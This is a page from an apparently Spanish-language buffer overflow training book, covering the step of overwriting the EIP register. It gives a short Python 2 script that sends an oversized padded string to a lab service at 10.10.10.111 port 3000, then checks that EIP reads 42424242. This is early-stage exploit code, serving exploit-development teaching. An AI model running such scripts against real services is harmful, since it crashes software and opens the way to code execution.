> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpics/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpics/buffer-overflow/explotacion-del-buffer-overflow/overwriting-the-eip.md).

# Overwriting The EIP

Este paso es para validar que el EIP tenga el valor indicado posteriormente:

```python
#!/usr/bin/python2.7
import sys, socket

shellcode = "A" * VALOR_DEL_OFFSET + "B" * 4 #(valor del paso anterior)

while True:
        try:
                s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                s.connect(('10.10.10.111',3000))

                s.send(('FUNCION /.:/' + shellcode))
                s.close()

        except:
                print "Error connecting to server"
                sys.exit()
```

{% hint style="danger" %}
**Resultado en EIP debe ser 42424242**
{% endhint %}
